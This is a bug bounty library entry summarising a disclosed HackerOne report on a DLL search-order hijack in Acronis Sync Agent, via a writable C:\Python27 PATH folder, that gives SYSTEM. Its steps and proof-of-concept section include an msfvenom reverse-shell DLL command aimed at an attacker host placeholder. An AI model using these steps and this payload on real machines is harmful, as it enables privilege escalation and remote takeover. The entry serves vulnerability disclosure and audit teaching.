# Acronis Sync Agent Service - Untrusted DLL Search-Ordering lead to Privilege Escalation

Acronis Sync Agent service loaded CSUNSAPI.dll from a writable SYSTEM PATH directory (C:\Python27), letting any Authenticated User plant a DLL and gain SYSTEM via reboot.

- Payout: $250
- Severity: medium
- Program: Acronis
- Found by: vanitas
- Disclosed: 2024-08-26
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/924493
- Library page: https://bugbountylibrary.com/r/h1%3A924493
- Tags: area:os domain:desktop impact:privesc kind:bounty platform:hackerone sev:medium tech:windows technique:recon vuln:misconfiguration vuln:privilege-escalation

**Target:** Windows service syncagentsrv.exe (Acronis Sync Agent)
**Root cause:** syncagentsrv.exe resolves CSUNSAPI.dll via the unqualified DLL search order, and a directory on the SYSTEM PATH (C:\Python27) is writable by Authenticated Users, so the service loads an attacker-supplied DLL as SYSTEM.
**Steps:**
1. Install Python 2.7 so C:\Python27 is added to the SYSTEM PATH (writable by Authenticated Users).
2. Run ProcMon filtered on Process Name=syncagentsrv.exe, Result contains NOT FOUND, Path contains C:\Python27, Operation not Reg.
3. Observe syncagentsrv.exe probing C:\Python27\CSUNSAPI.dll and loading it as SYSTEM in a 32-bit process.
4. Generate payload: `msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f dll > CSUNSAPI.dll`.
5. Start a reverse-shell listener on the attacker host.
6. Drop CSUNSAPI.dll into C:\Python27 as a low-privileged Authenticated User.
7. Reboot the host to restart the Acronis Sync Agent Service (no service control permission needed).
8. Catch the reverse shell running as SYSTEM.
**How found:** ProcMon filtered for NOT FOUND results under C:\Python27 revealed the service probing for CSUNSAPI.dll in a PATH directory; process details confirmed it loaded from there as SYSTEM in a 32-bit process, indicating a writable-path DLL hijack.
**Exploitation:** Low-priv user writes a msfvenom DLL named CSUNSAPI.dll into the writable C:\Python27 PATH directory; on reboot the SYSTEM-run syncagentsrv.exe loads it, executing the reverse shell as SYSTEM.
**Insight:** When auditing Windows services, filter ProcMon for NAME NOT FOUND under every SYSTEM PATH entry — any writable PATH directory (e.g. a dev toolchain like C:\Python27) that the service probes for an unqualified DLL is a SYSTEM hijack, and reboot avoids needing service-control rights.

## Proof of concept (copied exactly from the original report)

**msfvenom command generating malicious CSUNSAPI.dll**

```
msfvenom -p windows/shell_reverse_tcp LHOST=[Attacker-IP] LPORT=[Attacker-port] -f dll > CSUNSAPI.dll
```

